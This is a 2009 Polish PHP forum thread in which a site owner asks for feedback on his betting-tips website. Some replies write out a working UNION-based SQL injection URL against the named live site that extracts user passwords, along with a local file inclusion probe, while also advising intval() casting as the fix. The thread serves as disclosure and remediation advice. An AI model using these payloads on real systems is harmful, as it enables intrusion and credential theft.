![]() |
![]() ![]() |
![]() |
![]()
Post
#1
|
|
Grupa: Zarejestrowani Postów: 210 Pomógł: 0 Dołączył: 26.05.2008 Ostrzeżenie: (10%) ![]() ![]() |
witam,
strona praktycznie skończona, dlatego proszę o ocenę zarówno pod względem wizualnym jak i pod względem poprawności kodu i działania. Z gory dziekuję za wszystkie uwagi, szczególnie te krytyczne! Pozdrawiam! Odwiedź moją stronę Ten post edytował mczlowiek 10.07.2009, 10:37:54 |
|
|
![]()
Post
#2
|
|
Grupa: Zarejestrowani Postów: 36 Pomógł: 0 Dołączył: 31.03.2007 Ostrzeżenie: (10%) ![]() ![]() |
w3c
http://validator.w3.org/check?uri=http%3A%...ine&group=0 http://jigsaw.w3.org/css-validator/validat...&lang=pl-PL brak filtracji danych wejsciowych http://www.tktbet.pl/index.php?id=typy&typy_id=-- wyszukiwarka ie6 http://www.tktbet.pl/index.php (wyszukiwarka w gornej czesci strony, schodzi pod top, w tlo sie laduje) seo - brak zmiany title oraz description dla podstron wizualnie - menu ktore jest rozwijane spod glownego gornego menu jest dla mnie nie widoczne - " InLive! 2 visitors on the site. " brzydko wyglada Pozatym strona jest ładna wizualnie. Ten post edytował DawidPaszek 10.07.2009, 10:46:15 |
|
|
![]()
Post
#3
|
|
Grupa: Zarejestrowani Postów: 210 Pomógł: 0 Dołączył: 26.05.2008 Ostrzeżenie: (10%) ![]() ![]() |
w3c http://validator.w3.org/check?uri=http%3A%...ine&group=0 http://jigsaw.w3.org/css-validator/validat...&lang=pl-PL brak filtracji danych wejsciowych http://www.tktbet.pl/index.php?id=typy&typy_id=-- wyszukiwarka ie6 http://www.tktbet.pl/index.php (wyszukiwarka w gornej czesci strony, schodzi pod top, w tlo sie laduje) seo - brak zmiany title oraz description dla podstron wizualnie - menu ktore jest rozwijane spod glownego gornego menu jest dla mnie nie widoczne - " InLive! 2 visitors on the site. " brzydko wyglada Pozatym strona jest ładna wizualnie. brak filtracji danych wejsciowych - jak to uzyskać? seo - jak wyżej wyszukiwarka ie6 - nie wiem dokładnie o co chodzi (IMG:http://forum.php.pl/style_emoticons/default/smile.gif) |
|
|
![]()
Post
#4
|
|
Grupa: Zarejestrowani Postów: 450 Pomógł: 84 Dołączył: 27.11.2008 Skąd: Warszawa Ostrzeżenie: (0%) ![]() ![]() |
No to tak, wizualnie mi się podoba, jedynie przycisk od wyszukiwarki google(ten niebieski) nie pasuje raczej do kolorystki strony.
Od strony kodowania, jedynie za menu na <ul> + (IMG:http://forum.php.pl/style_emoticons/default/smile.gif) .. reszta = xhtml( 398 błędów + 170 ostrzeżeń ) + css( 13 błędów + 167 ostrzeżeń ) według w3c (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg) |
|
|
![]()
Post
#5
|
|
Grupa: Zarejestrowani Postów: 869 Pomógł: 53 Dołączył: 20.10.2003 Skąd: Przeworsk Ostrzeżenie: (0%) ![]() ![]() |
Przecież był już jeden topic o tej stronie. Zmiany są aż tak generalne, że trzeba zakładać nowy topic?
Logotyp mi się nie podoba. Te ludziki z wykresem nic mi nie mówią, a sam napis jest zbyt prosty. Generalnie są za małe padding'i. Co do kodu to nawet ładnie. IMHO nie ma czegoś takiego jak puste alt-y. |
|
|
![]()
Post
#6
|
|
Grupa: Zarejestrowani Postów: 2 148 Pomógł: 230 Dołączył: 26.03.2008 Ostrzeżenie: (0%) ![]() ![]() |
1. Wyszukiwarkę można było własną zrobić
2. BRAK STOPKI! 3. podatnośc na SQL Injection Kod http://www.tktbet.pl/index.php?id=typy&typy_id=262%20and%201=0%20UNION%20SELECT%201,[CIACH! Wyciągłem kolumnę z loginem usera w razie jakby innych korciło;)],user_password,4,5,6,7,8,9,10,11,12,13,14,15%20FROM%20users%20LIMIT%201;-- I mamy ładnie podane login i hasło userów w postaci [login] - [hasło] Filtruj dane. Ten post edytował pyro 10.07.2009, 11:21:24 |
|
|
![]()
Post
#7
|
|
Grupa: Zarejestrowani Postów: 210 Pomógł: 0 Dołączył: 26.05.2008 Ostrzeżenie: (10%) ![]() ![]() |
odp 3
możesz mi przesłać na prv cale zapytanie (bez wycinania) chce zobaczyć jak to wygląda oraz jak się można przed tym obronic? Ten post edytował mczlowiek 10.07.2009, 11:39:27 |
|
|
![]()
Post
#8
|
|
Grupa: Zarejestrowani Postów: 283 Pomógł: 15 Dołączył: 22.03.2009 Skąd: Bytów Ostrzeżenie: (0%) ![]() ![]() |
Bardzo ładna strona.
|
|
|
![]()
Post
#9
|
|
Grupa: Zarejestrowani Postów: 2 148 Pomógł: 230 Dołączył: 26.03.2008 Ostrzeżenie: (0%) ![]() ![]() |
odp 3 możesz mi przesłać na prv cale zapytanie (bez wycinania) chce zobaczyć jak to wygląda oraz jak się można przed tym obronic? Wystarczy, że zamiast w miejsce [CIACH... blablabla] wstawisz kolumnę z loginem usera i otrzymasz na stronie postać jak podałem wyżej (hasło jest kodowane w md5, ale w dzisiejszych czasach można ich łamać kilka milionów na sekundę, więc to tylko kwestia czasu, żeby je złamać). Zabezpieczenie? W tym przypadku przez parametr GET jest przesyłana dana liczbowa i w skrypcie też chcemy, żeby ona była liczbą, więc wystarczy rzutowanie typów, zajrzyj: intval" title="Zobacz w manualu PHP" target="_manual |
|
|
![]()
Post
#10
|
|
Grupa: Zarejestrowani Postów: 210 Pomógł: 0 Dołączył: 26.05.2008 Ostrzeżenie: (10%) ![]() ![]() |
robię tak jak mówisz i nic mi się nie wyświetla...
|
|
|
![]()
Post
#11
|
|
Grupa: Zarejestrowani Postów: 2 148 Pomógł: 230 Dołączył: 26.03.2008 Ostrzeżenie: (0%) ![]() ![]() |
Nadal nie podałem kolumny z loginem usera, zamiast tego wstawiłem liczbę:
Kod http://www.tktbet.pl/index.php?id=typy&typy_id=262%20and%201=0%20UNION%20SELECT%201,2,user_password,4,5,6,7,8,9,10,11,12,13,14,15%20FROM%20users%20LIMIT%201;-- Wyświetli samo hasło |
|
|
![]()
Post
#12
|
|
Grupa: Zarejestrowani Postów: 210 Pomógł: 0 Dołączył: 26.05.2008 Ostrzeżenie: (10%) ![]() ![]() |
ale gdzie ty to wklejasz? mi zawsze wyswietla sie pusta strona...
|
|
|
![]()
Post
#13
|
|
Grupa: Zarejestrowani Postów: 2 148 Pomógł: 230 Dołączył: 26.03.2008 Ostrzeżenie: (0%) ![]() ![]() |
Do paska URL, ma w nim być taki ciąg.
|
|
|
![]()
Post
#14
|
|
Grupa: Zarejestrowani Postów: 210 Pomógł: 0 Dołączył: 26.05.2008 Ostrzeżenie: (10%) ![]() ![]() |
dokładnie tak robię i wyświetla mi sie pusta strona a w ie brak strony...
|
|
|
![]()
Post
#15
|
|
Grupa: Zarejestrowani Postów: 2 148 Pomógł: 230 Dołączył: 26.03.2008 Ostrzeżenie: (0%) ![]() ![]() |
To robisz jakiś błąd ze swojej strony, osobiscie nie wiem jaki (IMG:http://forum.php.pl/style_emoticons/default/tongue.gif)
|
|
|
![]()
Post
#16
|
|
Grupa: Zarejestrowani Postów: 450 Pomógł: 84 Dołączył: 27.11.2008 Skąd: Warszawa Ostrzeżenie: (0%) ![]() ![]() |
http://www.tktbet.pl/index.php?id=../index
wynik: Kod <b>Fatal error</b>: Cannot redeclare zamieniaj() (previously declared in /tktbetpl/domains/tktbetpl.twojhost.pl/public_html/index.php:168) in <b>/tktbetpl/domains/tktbetpl.twojhost.pl/public_html/index.php</b> on line <b>176</b> ekhm.. tym sposobem mogę zaincludować jakikolwiek plik .php z jakiegokolwiek katalogu.. (IMG:http://forum.php.pl/style_emoticons/default/snitch.gif) |
|
|
![]()
Post
#17
|
|
Grupa: Zarejestrowani Postów: 36 Pomógł: 0 Dołączył: 31.03.2007 Ostrzeżenie: (10%) ![]() ![]() |
|
|
|
![]()
Post
#18
|
|
Grupa: Zarejestrowani Postów: 2 148 Pomógł: 230 Dołączył: 26.03.2008 Ostrzeżenie: (0%) ![]() ![]() |
DawidPaszek, chciałeś się popisać czy co? Przez większość tematu mówię o tym autorowi tematu. Gratuluję, potrafiłeś wykorzystać gotowo podaną lukę z gotowym zapytaniem, które sam podałem. Ehh... // edit (do autora) Jeszcze zauważyłem, że jak się poda błędny login/hasło to przekierowuje na główną stronę bez niczego. Żadnego komunikatu, ani nic... Ten post edytował pyro 10.07.2009, 16:03:25 |
|
|
![]()
Post
#19
|
|
Grupa: Zarejestrowani Postów: 36 Pomógł: 0 Dołączył: 31.03.2007 Ostrzeżenie: (10%) ![]() ![]() |
DawidPaszek, chciałeś się popisać czy co? Przez większość tematu mówię o tym autorowi tematu. Gratuluję, potrafiłeś wykorzystać gotowo podaną lukę z gotowym zapytaniem, które sam podałem. Ehh... Pyro, Nie przejmuj się. Wszyscy wiedzą że to Ty znalazłeś tą lukę i nie przypisuje do siebie praw, jego znalezienia. Podałem to tylko na obrazkach, które wizualizują to co napisałeś w słowach. Grauluję z sukcesem przeprowadzenoj symulacji ataku sql. Dawid Paszek. |
|
|
![]()
Post
#20
|
|
Grupa: Zarejestrowani Postów: 210 Pomógł: 0 Dołączył: 26.05.2008 Ostrzeżenie: (10%) ![]() ![]() |
pomoż mi usunąc ten "pzypadek"
|
|
|
![]()
Post
#21
|
|
Grupa: Zarejestrowani Postów: 2 148 Pomógł: 230 Dołączył: 26.03.2008 Ostrzeżenie: (0%) ![]() ![]() |
Pyro, Nie przejmuj się. Wszyscy wiedzą że to Ty znalazłeś tą lukę i nie przypisuje do siebie praw, jego znalezienia. Podałem to tylko na obrazkach, które wizualizują to co napisałeś w słowach. Grauluję z sukcesem przeprowadzenoj symulacji ataku sql. Dawid Paszek. Ja się niczym nie przejmuję. O to bym się na Twoim miejscu nie martwił. Ale jak powiela się jakiś błąd na stronie i wyjaśnia go dokładnie autorowi strony, a na końcu dopisuje się ktoś z screenshotem jak to ładnie potrafi wkleić gotowe zapytania do paska URL to jest trochę irytujące. Na tym proponuję skończyć ten off-topic i zająć się dalszą oceną strony. pomoż mi usunąc ten "pzypadek" @mczlowiek, zaglądałeś do posta, w którym wspominałem o intval" title="Zobacz w manualu PHP" target="_manual? (IMG:http://forum.php.pl/style_emoticons/default/worriedsmiley.gif) |
|
|
![]()
Post
#22
|
|
Grupa: Zarejestrowani Postów: 210 Pomógł: 0 Dołączył: 26.05.2008 Ostrzeżenie: (10%) ![]() ![]() |
no wlasnie czytalem, ale nie weim jak to zastosować. podaj mi jakiś przykład (najlepiej z mojej stony) to to usunę i z resztą sobie poradze
z gory dziękuje |
|
|
![]()
Post
#23
|
|
Grupa: Zarejestrowani Postów: 2 148 Pomógł: 230 Dołączył: 26.03.2008 Ostrzeżenie: (0%) ![]() ![]() |
no wlasnie czytalem, ale nie weim jak to zastosować. podaj mi jakiś przykład (najlepiej z mojej stony) to to usunę i z resztą sobie poradze z gory dziękuje Stosuje się ją tak samo jak inne funkcje zwracające jakąś wartość o_O
|
|
|
![]()
Post
#24
|
|
Grupa: Zarejestrowani Postów: 210 Pomógł: 0 Dołączył: 26.05.2008 Ostrzeżenie: (10%) ![]() ![]() |
więc jak mam np tak:
$id = intval($_GET['id']); select ..... where id='$_GET['id']'.... ....where id='$id" ? |
|
|
![]()
Post
#25
|
|
Grupa: Zarejestrowani Postów: 2 148 Pomógł: 230 Dołączył: 26.03.2008 Ostrzeżenie: (0%) ![]() ![]() |
więc jak mam np tak: $id = intval($_GET['id']); select ..... where id='$_GET['id']'.... ....where id='$id" ? Jeżeli dobrze zrozumiałem:
|
|
|
![]()
Post
#26
|
|
Grupa: Zarejestrowani Postów: 210 Pomógł: 0 Dołączył: 26.05.2008 Ostrzeżenie: (10%) ![]() ![]() |
i jezeli we wszystkich zapytaniach tak zobie, to strona bedzie juz w pełni bezpieczna czy gdzies jeszcze mozna znalezc "luki"?
|
|
|
![]()
Post
#27
|
|
Grupa: Zarejestrowani Postów: 2 148 Pomógł: 230 Dołączył: 26.03.2008 Ostrzeżenie: (0%) ![]() ![]() |
Hehe, można. W dziale przeszkole lub PHP jest cały temat poświęcony SQL Injection. Co do innych luk na Twojej stronie przeczytaj ten post: http://forum.php.pl/index.php?showtopic=12...st&p=632283
|
|
|
![]()
Post
#28
|
|
Grupa: Zarejestrowani Postów: 210 Pomógł: 0 Dołączył: 26.05.2008 Ostrzeżenie: (10%) ![]() ![]() |
no czytam, ale co to da komuś, że zaincluduje jakikolwiek plik? jak tego uniknac?
|
|
|
![]()
Post
#29
|
|
Grupa: Zarejestrowani Postów: 2 148 Pomógł: 230 Dołączył: 26.03.2008 Ostrzeżenie: (0%) ![]() ![]() |
no czytam, ale co to da komuś, że zaincluduje jakikolwiek plik? jak tego uniknac? Jeżeli to zrobi w odpowiedni sposób (jeśli takowy będzie możliwy) to na przykład hmm... może zyskać 100% dostępu do Twojej strony (IMG:http://forum.php.pl/style_emoticons/default/smile.gif) ? Zabezpieczenie się nie jest trudne, ale to też nie jest kilka zdań jak to zrobić, dlatego odsyłam Cię do google pod frazę `Local File Inclusion` |
|
|
![]()
Post
#30
|
|
Grupa: Zarejestrowani Postów: 210 Pomógł: 0 Dołączył: 26.05.2008 Ostrzeżenie: (10%) ![]() ![]() |
dziękuje!
jak coś mogę uderzyć na prv? |
|
|
![]()
Post
#31
|
|
Grupa: Zarejestrowani Postów: 2 148 Pomógł: 230 Dołączył: 26.03.2008 Ostrzeżenie: (0%) ![]() ![]() |
dziękuje! jak coś mogę uderzyć na prv? Nie, pisz w temacie (IMG:http://forum.php.pl/style_emoticons/default/tongue.gif) |
|
|
![]()
Post
#32
|
|
Grupa: Zarejestrowani Postów: 210 Pomógł: 0 Dołączył: 26.05.2008 Ostrzeżenie: (10%) ![]() ![]() |
Za pomocą poniższego kodu wyświetlam sobie artykuł o podanym id.
Czy aby zabezpieczyć się przed nieproszonymi goścmi wystarczy że uzyję funkcji is_numeric? Czy może lepiej uzyć jakiejś innej, lepszej ? Czy takie rozwiązanie jest w pełni bezpieczne:
Ten post edytował mczlowiek 4.08.2009, 12:47:24 |
|
|
![]()
Post
#33
|
|
Grupa: Moderatorzy Postów: 36 557 Pomógł: 6315 Dołączył: 27.12.2004 ![]() |
|
|
|
![]() ![]() |
![]() |
Aktualny czas: 24.08.2025 - 04:24 |